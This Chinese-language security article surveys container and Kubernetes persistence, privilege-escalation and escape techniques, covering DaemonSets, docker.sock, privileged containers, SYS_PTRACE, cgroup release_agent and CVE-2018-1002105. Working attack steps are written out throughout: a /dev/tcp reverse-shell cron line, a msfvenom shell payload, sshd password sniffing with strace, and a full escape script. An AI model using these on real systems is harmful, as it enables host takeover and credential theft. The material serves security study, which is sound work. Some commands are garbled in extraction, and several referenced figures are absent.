常见容器安全威胁来源于构建环境安全、运行时安全、操作系统安全、编排管理安全等,参考下图阿里云云上容器ATT&CK攻防矩阵,进行体系化研究:
在容器安全领域中,ATT&CK矩阵同样考虑了针对容器环境的持久化攻击战法。在容器环境下,持久化的核心思路仍然是让恶意活动能够在容器重启、重建或迁移时维持存在,并能够继续执行恶意操作或维持对目标容器集群的控制。由于容器相较于传统主机环境具有更为轻量级和短暂性的特点,攻击者可能采取以下针对性持久化技术:
-
配置文件篡改:修改容器镜像或容器运行时配置文件,使得恶意代码在容器启动时自动执行。
-
初始化脚本注入:在容器启动命令或者生命周期钩子(如Dockerfile中的ENTRYPOINT或CMD)中植入恶意脚本。
-
数据卷持久化:利用数据卷(volumes)将恶意组件存储在宿主机上,确保即使容器重启也能重新加载这些内容。
-
Kubernetes资源篡改:通过修改Kubernetes(K8s)的Pod规格(yaml文件)、控制器或调度器设置,在容器创建或重启时植入恶意负载。
-
服务网格持久化:如果环境中使用了服务网格(如Istio),攻击者可能会尝试通过篡改其配置来实现持久化。
-
API服务器滥用:利用漏洞或权限问题影响Kubernetes API服务器,以持久化部署包含恶意负载的容器。
One for all,在容器安全ATT&CK矩阵中,持久化的关键在于识别并阻止攻击者利用容器及编排系统的机制来保持非法访问和控制的能力。下面将介绍一些典型的持久化攻击技战法。
Kubernetes(K8s)作为一个领先的容器编排平台,提供了多种核心对象来简化和自动化容器化应用的管理。其中,DaemonSet是一个重要的概念,用于确保集群中的每个节点上都运行一个副本的Pod实例。
与其他控制器(如ReplicaSet和Deployment)不同,DaemonSet主要用于在整个集群中的节点上运行系统级别的任务,如日志收集、监控代理等。为了更好地理解和应用DaemonSet,通过运行Fluentd日志收集器的DaemonSet示例来演示DaemonSet的创建、自动扩展以及节点级别任务的运行。
DaemonSet的定义:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: fluentd-daemonset
spec:
selector:
matchLabels:
app: fluentd
template:
metadata:
labels:
app: fluentd
spec:
containers:
name: fluentd-container
image: fluent/fluentd:latest
volumeMounts:
name: varlog
mountPath: /var/log
tolerations:
key: node-role.kubernetes.io/master
effect: NoSchedule
updateStrategy:
type: RollingUpdate
template:
metadata:
labels:
app: fluentd
spec:
containers:
name: fluentd-container
image: fluent/fluentd:latest
volumeMounts:
name: varlog
mountPath: /var/log
tolerations:
key: node-role.kubernetes.io/master
effect: NoSchedule
updateStrategy:
type: RollingUpdate
在上述示例中:
-
selector 使用标签选择器matchLabels选择具有标签 app: fluentd 的节点,以运行DaemonSet中定义的Pod。
-
template 定义了创建Pod的规范,包括使用的镜像、标签等。
-
volumeMounts 将节点的/var/log目录挂载到Fluentd容器中,以收集节点的容器日志。
-
tolerations 允许DaemonSet在Master节点上运行,这对于一些特殊的集群配置是必要的。
创建DaemonSet:根据定义的DaemonSet在集群的每个节点上启动Fluentd的Pod实例。
kubectl apply -f fluentd-daemonset.yaml
查看DaemonSet状态:查看DaemonSet和Pod的状态,确保Fluentd的Pod实例已成功运行。
kubectl get daemonsets
kubectl get pods
因此,攻击者可以通过K8s DaemonSet向每个Node中植入后门容器,这些容器可以设置为特权容器并通过挂载宿主机的文件空间来进一步向每个Node植入二进制并远控客户端,从而完成Node层持久化,且后续操作不会触发K8s层的审计策略。
在容器或Pod的初始化配置阶段,若不慎将宿主机的核心系统目录以可写权限的方式映射至内部容器环境(如根目录/root、系统运行时信息目录/proc、核心配置目录/etc等关键路径),则潜在恶意攻击者一旦成功渗透至该容器内核,即可对这些至关重要的底层文件进行篡改与操控活动,甚至可能产生逃逸行为。
这种状况下,攻击者能够利用诸如编辑/etc/crontab定时任务机制,在系统层面植入隐蔽且持久化的后门程序;或者通过篡改特权用户/root/.ssh/authorized_keys身份验证文件,非法获取对宿主机的SSH访问权限;甚至可能进一步深入探查并窃取其他进程空间内的敏感数据信息,以此纵向扩展其在宿主机上的权限边界和控制深度。
在Docker中,可以通过挂载目录的方式将宿主机上的目录共享到容器中。这样可以实现容器和宿主机之间的数据共享,方便开发和部署。具体挂载目录的方式如下:
docker run -v /宿主机目录:/容器目录 image_name
其中,/宿主机目录是宿主机上的目录路径,/容器目录是容器中的目录路径,image_name是要启动的镜像名称。通过-v参数指定挂载目录时的权限。
则如下为例,即启用了不安全的目录挂载:
docker run -it -v /root:/root ubuntu /bin/bash
写入SSH凭证
(echo -e "nn";cat id_rsa_new.pub) /root/.ssh/authorized_keys
CronJob 用于执行排期操作,例如备份、生成报告等。 一个 CronJob 对象就像 Unix 系统上的 crontab(cron table)文件中的一行。 它用 Cron 格式进行编写, 并周期性地在给定的调度时间执行 Job。攻击者在获取controller create权限后可以创建cronjob实现持久化。
~/D/test> cat cronjob.yaml
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: echotest
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
name: container
image: nginx
args:
/bin/sh
-c
echo test
restartPolicy: OnFailure
~/D/test> kubectl create -f cronjob.yaml
created
~/D/test> kubectl get cronjobs
NAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE
echotest */1 * * * * False 3 26s 3m8s
攻击者对企业的专有镜像仓库的非法掌控,将赋予其实施一系列恶意活动的能力,包括但不限于窃取私有镜像中的敏感数据资产、破坏关键业务镜像资源、篡改或替换原始镜像内容,并在镜像中隐蔽植入持久化后门。更甚的是,他们能够通过高级权限操作创建难以察觉的影子账户,从而实现对镜像服务体系的深度渗透和持续控制。
一种持久化攻击方式是在dockerfile中加入额外的恶意指令层来执行恶意代码,同时该方法可以自动化并具有通用性。同时在Docker镜像的分层存储中,每一层的变化都将以文件的形式保留在image内部,一种更为隐蔽的持久化方式是直接编辑原始镜像的文件层,将镜像中原始的可执行文件或链接库文件替换为精心构造的后门文件之后再次打包成新的镜像,从而实现在正常情况下无行为,仅在特定场景下触发的持久化工具。
攻击者通过ConfigMap修改Kubelet使其关闭认证并允许匿名访问,或暴露API Server的未授权HTTP接口,使其在后续渗透过程中拥有持续的后门命令通道。
核心组件的漏洞利用请参考第五节。
容器安全中的权限提升(Privilege Escalation)目标通常是指攻击者在已经入侵到一个容器内部后,试图获取更高的权限或访问范围,以便控制整个容器、宿主机或者扩展其对集群中其他容器的影响力。这种提升权限的行为旨在突破容器环境原有的隔离机制和最小权限原则。
形式上,容器环境中的权限提升技术可能包括但不限于以下几种:
-
利用容器逃逸漏洞:通过利用容器运行时的漏洞,攻击者可以突破容器边界,获得宿主机级别的权限。
-
针对容器镜像的提权:如果容器镜像存在未打补丁的安全漏洞或者配置错误,攻击者可能借此在容器内执行提权命令或载荷来获取root权限。
-
共享资源滥用:利用容器间共享存储、网络或其他系统资源的方式,进行权限升级或信息窃取。
-
容器编排工具漏洞利用:针对Kubernetes等容器编排系统的漏洞进行攻击,以取得对整个集群的管理权限。
-
权限与访问控制绕过:包括滥用服务账户、API密钥泄露以及不正确的访问控制策略设置等,这些都可能导致权限提升。
技战法介绍
Docker通过赋予特权容器对宿主机全面硬件资源的操控能力,同时调整诸如AppArmor及SELinux等安全策略配置,使特权容器所承载的权限近乎等同于那些在宿主机底层直接运行的原生进程。然而,这也意味着,一旦遭受恶意攻击者利用,从特权容器实现逃逸的可能性将大幅增加,成为一项相对容易达成的安全隐患。
运行在privileged特权模式下的容器被业界公认为一种高度风险的逃逸手段,对于强调安全性的产品环境,通常会对此类特权容器的启用、使用以及活动监控实施严格的管控措施。尽管如此,一些知名云服务供应商仍然会在这一基础安全层级遭遇漏洞挑战,例如微软Azure就曾因一个新发现的Docker容器逃逸漏洞而引发关注,详情可见:https://thehackernews.com/2021/01/new-docker-container-escape-bug-affects.html。
特权容器实质上掌握了一系列潜在危险的高级权限,由此衍生出了多种不同的逃逸策略。其中一种尤为典型且威胁性显著的方法是利用特权挂载宿主机底层设备,并进行读写操作,从而突破容器隔离边界,对宿主机系统的内核文件进行非法篡改或敏感信息窃取。
如何判断处于特权模式
在容器中时可以通过如下参数检测当前容器是否是以特权模式启动
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
这里可以稍微延申一下linux的Capabilities机制:https://man7.org/linux/man-pages/man7/capabilities.7.html,它对用户的权限进行了更细致的分类,可以对单个线程进行更精度的权限控制。避免粗暴的root特权用户和常规用户的简单区分。当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0。
一个线程拥有五个Capabilities集合Permitted、Inheritable、Effective、Bounding和Ambient,分别对应了/proc/self/status中的CapPrm、CapInh、CapEff、CapBnd和CapAmb。Effective集合就是主要的当前线程特权操作权限(Capabilities)的集合。
例如通过sudo -s切换成root用户之后就可以看到Capabilities权限的变化
通过capsh命令可以解码出具体的Capabilitie
简而言之,如果当前容器中的CapEff为0000003fffffffff时则有了宿主机root用户的特权模式
逃逸手法
当你进入 privileged 特权容器内部时,你可以使用 fdisk -l 查看宿主机的磁盘设备。示例:将系统盘挂载到容器内部,读写宿主机文件:
如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的。
因此,在特权容器里,你可以把宿主机里的根目录 / 挂载到容器内部,从而去操作宿主机内的任意文件,例如 crontab config file, /root/.ssh/authorized_keys, /root/.bashrc 等文件,而达到逃逸的目的。
当然,对于涉及敏感操作和关键系统调用的文件读写行为,历来是Endpoint Detection and Response (EDR) 和Host-based Intrusion Detection System (HIDS) 系统实施严密监控的重点对象。尤其是在云原生环境下,容器技术的广泛应用使得逃逸攻击的可能性增加,对容器内部的文件访问行为的审查则显得尤为关键。
这类针对核心配置文件或底层系统资源的读写操作往往与潜在的安全威胁密切相关,例如恶意代码植入、权限提升以及逃逸至宿主机等高级攻击手段。因此,哪怕某些HIDS产品尚未专门针对容器安全特性进行深度优化,其内置的入侵检测机制仍然有能力基于预定义规则集、异常行为模式分析以及机器学习算法等多元手段,识别并报告可能的逃逸行为或其他违规操作。
以Linux内核API调用为例,当容器内的进程尝试执行涉及文件系统挂载点修改、设备访问控制变更或者敏感目录下的文件操作时,即使这些动作在部分合法场景下是合理的,但鉴于其潜在的风险性,HIDS仍然会对此类行为保持高度警惕,并结合上下文信息进行全面评估,从而确保任何可疑活动都能被及时发现并记录为告警事件。
技战法介绍
K8s使用基于角色的访问控制(RBAC)来进行操作鉴权,允许管理员通过 Kubernetes API 动态配置策略。RBAC API 所声明的四种顶级类型【Role、ClusterRole、RoleBinding 和 ClusterRoleBinding】。用户可以像与其他 API 资源交互一样,(通过 kubectl API 调用等方式)与这些资源交互。
角色绑定(RoleBinding)是将角色中定义的权限赋予一个用户或者一组用户。 它包含若干主体【subjects】(users、groups或 service accounts)的列表和对这些主体所获得的角色引用。 可以使用 RoleBinding 在指定的命名空间中执行授权,或者在集群范围的命名空间使用 ClusterRoleBinding 来执行授权。 一个 RoleBinding 可以引用同一的命名空间中的 Role。
RoleBinding示例:将 “pod-reader” 角色授予在 “default” 命名空间中的用户 “jane”; 这样,用户 “jane” 就具有了读取 “default” 命名空间中 pods 的权限。 在下面的例子中,角色绑定使用 roleRef 将用户 “jane” 绑定到前文创建的角色 Role,其名称是 pod-reader。
apiVersion: rbac.authorization.k8s.io/v1
# 此角色绑定,使得用户 "jane" 能够读取 "default" 命名空间中的 Pods
kind: RoleBinding
metadata:
name: read-pods
namespace: default
subjects:
kind: User
name: jane # 名称大小写敏感
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role #this must be Role or ClusterRole
name: pod-reader # 这里的名称必须与你想要绑定的 Role 或 ClusterRole 名称一致
apiGroup: rbac.authorization.k8s.io
roleRef 里的内容决定了实际创建绑定的方法。kind 可以是 Role 或 ClusterRole,name 是你要引用的 Role 或 ClusterRole 的名称。 RoleBinding 也可以引用 ClusterRole,这可以允许管理者在 整个集群中定义一组通用的角色,然后在多个命名空间中重用它们。
提权手法
某些情况下运维人员为了操作便利,会对普通用户授予cluster-admin的角色,攻击者如果收集到该用户登录凭证后,可直接以最高权限接管K8s集群。少数情况下,攻击者可以先获取角色绑定(RoleBinding)权限,并将其他用户添加cluster-admin或其他高权限角色来完成提权。
漏洞介绍
操作系统内核安全(如Linux内核)是容器安全体系的基石,是实现容器隔离设计的前提。内核漏洞的利用往往从用户空间非法进入内核空间开始,在内核空间赋予当前或其他进程高权限以完成提权操作。在云原生场景中,云厂商会在VM层为操作系统内核漏洞进行补丁修复,避免用户被已公开的内核漏洞攻击。以脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)为例。
Dirty Cow(CVE-2016-5195)是Linux内核中一个严重的权限提升漏洞,该漏洞源于内存子系统在处理写入时拷贝(Copy-on-Write, COW)操作中的竞争条件。当这种竞争条件被恶意利用时,攻击者能够突破安全限制,获得对原本只读内存映射的写访问权限,从而实现权限提升,甚至有可能取得root权限。
竞争条件在此语境中是指并发执行的任务顺序异常,可能导致系统行为不可预测,为攻击者创造执行任意代码的机会。VDSO,即Virtual Dynamic Shared Object,是一个由内核提供的特殊虚拟.so文件,它位于内核空间而非磁盘,并在程序启动时由内核动态映射至用户空间供程序调用其内部函数。
在容器环境下,针对Dirty Cow漏洞的攻击可能通过利用VDSO内存空间内的“clock_gettime()”函数来实施。攻击者能借此触发系统崩溃,进而获取root权限级别的shell,并进一步突破容器边界,非法访问主机层面的文件资源。
利用条件
docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。
漏洞复现
使用ubuntu-14.04.5来复现,Ubuntu系统镜像下载:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso
内核版本(共享内核):
宿主机:
bypass@ubuntu-docker:/$ uname -a
Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux容器:
容器:
root@59b203abf9d1:/# uname -r
4.4.0-31-generic
root@59b203abf9d1:/#
root@59b203abf9d1:/# cat /etc/issue
Ubuntu 20.04 LTS n l
测试环境下载:
git clone https://github.com/gebl/dirtycow-docker-vdso.git
运行测试容器
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
进入容器,编译POC并执行
cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234
在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。
漏洞介绍
在Docker的历史长河中,曾出现过多例对安全性构成重大威胁的漏洞,其中两个于2019年曝光的高危安全问题至今仍具有一定影响力,它们分别是:Docker runc 远程代码执行漏洞(CVE-2019-5736)和 Docker cp 远程代码执行漏洞(CVE-2019-14271)。这两个安全隐患均源自Docker内在功能机制的设计瑕疵,攻击者巧妙地利用了覆盖容器内部的runc文件以及libnss库,从而实现了从受限的容器环境向宿主机系统的逃逸渗透。
尽管从攻击者的视角出发,触发这两个漏洞并执行恶意负载的过程需要与宿主机进行特定交互,实战中的效率并不理想,但Docker所特有的既要保证隔离性又要实现通信的设计理念或许在未来会持续暴露出新的安全隐患。
在各大云服务商所提供的托管Kubernetes集群以及Serverless服务中,Docker服务自身的安全性维护工作通常由云服务商承担。相较于自建环境,这样的托管服务在安全性上往往能提供更为坚固的保障。
漏洞利用
针对上述提及的漏洞,互联网上已有诸多公开的漏洞验证(Proof of Concept, POC)实例可供研究参考,这些实例针对不同的运行环境及操作系统发行版本在利用手法上存在一定的差异性。以下是部分相关的GitHub资源链接:
-
https://github.com/feexd/pocs
-
https://github.com/twistlock/RunC-CVE-2019-5736
-
https://github.com/AbsoZed/DockerPwn.py
-
https://github.com/q3k/cve-2019-5736-poc
通过深入研读这些开源项目,开发者和安全研究人员能够更好地理解漏洞的工作原理,并采取相应措施以增强自身系统防御能力。
漏洞介绍
容器化基础设施每一环的软件漏洞都会带来安全风险。Kubernetes特权升级漏洞(CVE-2018-1002105)允许普通用户在一定前提下提升至K8s API Server的最高权限。该漏洞需要用户拥有对某个namespace下pod的操作权限,同时需要client到API Server和kubelet的网络通路来实施攻击。
该漏洞的 CVSS 3.x 评分为 9.8 分,受影响版本如下:
Kubernetes v1.0.x-1.9.x Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11) Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5) Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
漏洞分析
参考https://mp.weixin.qq.com/s/4g9GUgtCfXRwXJS04vlBPQ进行漏洞分析与学习。通过分析补丁得知漏洞存在的逻辑节点。
代码中两个Goroutine用于在建立一个proxy通道。,对比修复前后的代码处理流程,可以发现 修复后代码要求需要先获取本次请求的rawResponseCode并判断rawResponseCode不等于101时,return true,即无法走建立proxy通道。如果rawResponseCode等于101,则可以走到下面两个Goroutine,成功建立proxy通道。
漏洞的产生原因是由于修复前没有对返回码的判断,无论实际rawResponseCode会返回多少,都会走到这两个Goroutine中,建立起proxy通道。
当请求正常进行协议切换时,会返回101,继而建立起websocket通道,该websocket通道是建立在原有tcp通道之上的,且在该TCP的生命周期内,其只能用于该websocket通道,所以这是安全的。 而当一个协议切换的请求转发到了Kubelet上处理出错时,上述api server的代码中未判断该错误就继续保留了这个TCP通道,导致这个通道可以被TCP连接复用,此时就由api server打通了一个client到kubelet的通道,且此通道实际操作kubelet的权限为api server的权限。
这边提到API Server和kubelet,了解它俩的地位。
API Server是整个系统的数据总线和数据中心,它最主要的功能是提供REST接口进行资源对象的增删改查,另外还有一类特殊的REST接口—k8s Proxy API接口,这类接口的作用是代理REST请求,即kubernetes API Server把收到的REST请求转发到某个Node上的kubelet守护进程的REST端口上,由该kubelet进程负责响应。
Kubelet服务进程在Kubenetes集群中的每个Node节点都会启动,用于处理Master下发到该节点的任务,管理Pod及其中的容器,同时也会向API Server注册相关信息,定期向Master节点汇报Node资源情况。
需要构造一个可以转发到Kubelet上并处理出错的协议切换请求,包含以下三点
1、如何通过API server将请求发送到Kubelet
代码路径:pkg/kubelet/server/server.go
通过跟踪Kubelet的server代码,可以发现Kubelet server的InstallDebuggingHandlers方法中注册了exec、attach、portForward等接口,同时Kubelet的内部接口通过api server对外提供服务,所以对API server的这些接口调用,可以直接访问到Kubelet(client -->> API server --> Kubelet)。
2、构造协议切换
代码位置staging/src/k8s.io/apimachinery/pkg/util/httpstream/httpstream.go
很明显,在IsUpgradeRequest方法进行了请求过滤,满足HTTP请求头中包含 Connection和Upgrade 要求的将返回True。
IsUpgradeRequest返回False的则直接退出tryUpdate函数,而返回True的则继续运行,满足协议协议切换的条件。所以我们只需发送给API Server的攻击请求HTTP头中携带Connection/Upgrade Header即可。
3、如何构造失败
代码位置pkg/kubelet/server/remotecommand/httpstream.go
上图代码中可以看出如果对exec接口的请求参数中不包含stdin、stdout、stderr三个,则可以构造一个错误。
至此,漏洞产生的原理以及漏洞利用的方式已经基本分析完成。
漏洞复现
【场景描述:HTTP与HTTPS下的API SERVER】
分为两种情况:
1、K8S未开启HTTPS,这种情况下,api server是不鉴权的,直接就可以获取api server的最高权限,无需利用本次的漏洞,故不在本次分析范围之内。
2、K8S开启了HTTPS,使用了权限控制(默认有多种认证鉴权方式,例如证书双向校验、Bearer Token 模式等),这种情况下K8S默认是支持匿名用户的,即匿名用户可以完成认证,但默认匿名用户会被分配到 system:anonymous 用户名和 system:unauthenticated 组,该组默认权限非常低,只能访问一些公开的接口,例如https://{apiserverip}:6443/apis,https://{apiserverip}:6443/openapi/v2等。这种情况下,才是我们本次漏洞利用的重点领域。
下面我们梳理下,在K8S已经开启认证授权下,该漏洞是如何利用的。
先看下正常请求执行的链路是怎么样的:client --> apiserver --> kubelet即client首先对apiserver发起请求,例如发送请求 [连接某一个容器并执行exec] ,请求首先会被发到apiserver,apiserver收到请求后首先对该请求进行认证校验,如果此时使用的是匿名用户(无任何认证信息),正如上面代码层的分析结果,api server上是可以通过认证的,但会授权失败,即client只能走到apiserver而到不了kubelet就被返回403并断开连接了。
所以本次攻击的先决条件是,我们需要有一个可以从client到apiserver到kubelet整个链路通信认证通过的用户。
所以在本次分析演示中,我们创建了一个普通权限的用户,该用户只具有role namespace(新创建的)内的权限,包括对该namespace内pods的exec权限等,对其他namespace无权限。并启用了Bearer Token 认证模式(认证方式为在请求头加上Authorization: Bearer 1234567890 即可)。
【构造第一次请求】
攻击点先决条件满足后,我们需要构造第一个攻击报文,即满足API server 往后端转发(通过HTTP头检测),且后端kubelet会返回失败。先构造一个可以往后端转发的请求,构造消息如下
但是这个消息还不满足我们的要求,因为这个消息到kubelet后可以被成功处理并返回101,然后成功建立一个到我们有权限访问的role下的test容器的wss控制连接,这并不是我们所期待的,我们期待的是获取K8S最高权限,可以连接任意容器,执行任意操作等。
所以我们要改造这个请求,来构造出一个错误的返回,利用错误返回没有被处理导致连接可以继续保持的特性来复用通道打成后面的目的。改造请求如下
该请求返回结果为
为什么这么构造,可以产生失败呢?因为exec接口的调用至少要指定标准输入、标准输出或错误输出中的任意一个(正如前面代码分析中所述),所以我们没有对exec接口进行传参即可完成构造。
【构造第二次请求】
因为上面错误返回后,API SERVER没有处理,所以此时我们已经打通了到kubelet的连接,接下来我们就可以利用这个通道来建立与其它pod的exec连接。但是此时如果对kubelet不熟悉的同学在继续攻击是可能会犯这样的错误,例如这样去构造了第二次的攻击报文
如果这样发送第二个请求来获取其它无权限pod的exec权限时,返回的结果会是如下所示,且通道继续保留
这是因为当前的通道我们的消息是会直接被转发到kubelet上,而不需要对API server发送exec让他来进行api请求解析处理,所以我们的请求地址不应该是
/api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd64-v2kgb/exec
而应该是如下所示,直接调用kubelet的内部接口即可,如下所示
说明下,这个接口中路径的入参是这样的:
/exec/{namespace}/{pod}/{container}?command=...
该请求即可获取到我们所期待的结果,如下所示,成功获取到了对其他无权限容器命令执行的结果
【如何获取其它POD信息】
在发送第二个报文并完成漏洞攻击的过程中,我们演示攻击了kube-system namespace下的kube-flannel-ds-amd64-v2kgb pod,那么真实攻击环境下,我们如何获取到其它namespace与pods等信息呢?
因为我们现在已经获取了K8S最高管理权限,所以我们可以直接调用kubelet的内部接口去查询这些信息,例如发送如下请求来获取正在运行的所有pods的详细信息
结果如下
逃逸原理
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演,二者之间通信方式有以下3种:
1、unix:///var/run/docker.sock
2、tcp://host:port
3、fd://socketfd
其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
当docker.sock被挂载到容器内部时,攻击者可以在容器内部访问该socket,管理docker daemon。
docker -v /var/run/docker.sock:/var/run/docker.sock
此时容器内部可以与docker deamon通信,并另起一个高权限的恶意容器,运行并切换至不安全的容器B,最终在容器B中控制宿主机,从而拿到root shell。
攻击复现
与docker deamon通信:
find / -name docker.sock
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
在容器内安装client
apt-get update
apt-get install docker.io
查看宿主机docker信息
docker -H unix:///host/var/run/docker.sock info
运行一个新容器并挂载宿主机根路径
docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash
写入计划任务到宿主机
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
逃逸原理
当 docker 容器设置 –cap-add=SYS_PTRACE 或 Kubernetes PODS 设置 securityContext.capabilities 为 SYS_PTRACE 配置等把 SYS_PTRACE capabilities 权限赋予容器的情况,都可能导致容器逃逸。
这个场景很常见,因为无论是不是线上环境,业务进行灾难重试和程序调试都是没办法避免的,所以容器经常被设置 ptrace 权限。
使用 capsh –print 可以判断当前容器是否附加了 ptrace capabilities。
这里的利用方式和进程注入的方式大致无二,如果是使用 pupy 或 metasploit 维持容器的 shell 权限的话,利用框架现有的功能就能很方便的进行注入和利用。
当然,就如上面所述,拥有了该权限就可以在容器内执行 strace 和 ptrace 等工具,若只是一些常见场景的信息收集也不一定需要注入恶意 shellcode 进行逃逸才可以做到。
攻击复现
K8s YAML配置中对capabilities的支持:
securityContext:
capabilities:
drop:
ALL
add:
NET_BIND_SERVICE
docker会以白名单方式赋予容器运行所需的capabilities权限,我们可以在docker run命令中使用 --cap-add 以及 --cap-drop 参数控制capabilities。以下命令对容器开放了宿主机的进程空间,同时赋予容器CAP_SYS_PTRACE权限,此时攻击者在容器内部可以注入宿主机进程从而实现逃逸。
docker run --pid=host --cap-add=SYS_PTRACE --rm -it ubuntu bash
利用方式:
(1)抓取sshd账号密码:拥有该特权集,并且容器与宿主机共用进程命名空间时,容器可以利用strace、ptrace抓取宿主机sshd密码。命令如下:
strace -f -F -p ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'} -t -e trace=read,write -s 32 2> sshd.log
grep -E 'read(6, ".+\0\0\0\.+"' sshd.log
当服务器管理员登录该服务器时即可抓取到ssh连接的明文账号密码。
当然,很多时候容器里并不一定存在strace命令,如果容器中存在包管理器,则可以手动安装:
apt-get install strace
没有的话,也可以考虑自行静态编译一个strace传进容器。
(2)进程注入:除了抓取ssh账号密码之外,还可以通过ptrace系统调用以进程注入的形式来实现容器逃逸。
注入器使用https://github.com/dismantl/linux-injector
需要注意的是,该注入器需要安装fasm,链接http://flatassembler.net/download.php
将两者下载之后,准备工作如下
cd fasm下载目录
tar -xvf fasm-1.73.30.tgz export PATH=$PATH:pwd
cd linux-injector-master下载目录
unzip linux-injector-master.zip
cd linux-injector-master
make
linux-injector可以将恶意elf注入至进程之中,使用msf生成木马,如下
msfvenom -p linux/x64/shell_reverse_tcp LHOST=host LPORT=port -f raw >reverse
将编译后的linux-injector目录与木马打包,传到容器中
cd linux-injector-master tar -cvf ../injector.tar .
而后选择一个宿主机中的进程进行注入即可。
逃逸原理
在当前的网络安全领域中,针对lxcfs机制的入侵检测系统(HIDS)策略相对较少触及这一纵深。迄今为止,在真实的攻防对抗场景中,我们尚未观察到由lxcfs引发的容器逃逸攻击实例。然而,该潜在风险和利用手法的揭示,主要得益于开源社区贡献者@lazydog的专业分享与深入研究。他在实际执行红队渗透测试任务时遭遇了涉及lxcfs的复杂情况,并通过查阅相关文献资料及实践探索,成功构建了一套针对此类环境的容器逃逸攻击思路。lxcfs关联的逃逸场景及其攻击手法在实战化的攻防演练乃至真实安全威胁应对中具有极高的研究价值和实战意义:https://linuxcontainers.org/lxcfs/
假设业务使用 lxcfs 加强业务容器在 /proc/ 目录下的虚拟化,以此为前提,构建出这样的 demo pod:
并使用 lxcfs /data/test/lxcfs/ 修改了 data 目录下的权限。
攻击复现
若蓝军通过渗透控制的是该容器实例,则就可以通过下述的手法达到逃逸访问宿主机文件的目的,这里简要描述一下关键的流程和原理。
(1)首先在容器内,蓝军需要判断业务是否使用了 lxcfs,在 mount 信息里面可以进行简单判断,当然容器不一定包含 mount 命令,也可以使用 cat /proc/1/mountinfo 获取
|
(2)此时容器内会出现一个新的虚拟路径:
(3)该路径下会绑定当前容器的 devices subsystem cgroup 进入容器内,且在容器内有权限对该 devices subsystem 进行修改。
使用 echo a > devices.allow 可以修改当前容器的设备访问权限,致使我们在容器内可以访问所有类型的设备。
(4)如果跟进过 CVE-2020-8557 这个具有 Kubernetes 特色的拒绝服务漏洞的话,应该知道/etc/hosts, /dev/termination-log,/etc/resolv.conf, /etc/hostname 这四个容器内文件是由默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号 ID。
(5)我们可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问,此时我们就有了读写宿主机任意文件的权限。
这个手法和利用方式不仅可以作用于 lxcfs 的问题,即使没有安装和使用 lxcfs,当容器为 privileged、sys_admin 等特殊配置时,可以使用相同的手法进行逃逸。我们曾经多次使用类似的手法逃逸 privileged、sys_admin 的场景 (在容器内 CAPABILITIES sys_admin 其实是 privileged 的子集),相较之下会更加隐蔽。
当然自动化的工具可以帮我们更好的利用这个漏洞并且考虑容器内的更多情况,这里自动化 EXP 可以使用 CDK 工具:https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw
逃逸原理
privileged 配置本质上代表了一组广泛的高级权限集合,其功能并不仅限于直接挂载 device,这一特性只是其众多权限运用场景之一。另一种在安全研究领域广为人知的利用手法是通过操控 cgroup 的 release_agent 参数实现容器逃逸攻击,从而在宿主机上执行任意命令。值得注意的是,这种攻击手段同样适用于拥有 sys_admin 权限级别的容器环境,进一步突显了对特权容器配置和 cgroup 管理机制进行严密管控的重要性。
攻击复现
shell 利用脚本如下( https://github.com/neargle/cloud_native_security_test_case/blob/master/privileged/1-host-ps.sh)
set -uex
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
sleep 2
cat "/output"
输出示例:
其中host_path=sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab的做法经常在不同的 Docker 容器逃逸 EXP 被使用到;如果我们在漏洞利用过程中,需要在容器和宿主机内进行文件或文本共享,这种方式是非常棒且非常通用的一个做法。
其思路在于利用 Docker 容器镜像分层的文件存储结构 (Union FS),从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径;则对该路径下的文件操作等同于对容器根目录的文件操作。
此类手法如果 HIDS 并未针对容器逃逸的特性做一定优化的话,则 HIDS 对于逃逸在母机中执行命令的感知能力可能就会相对弱一点。不过业界的 EDR 和 HIDS 针对此手法进行规则覆盖的跟进速度也很快,已有多款 HIDS 对此有一定的感知能力。
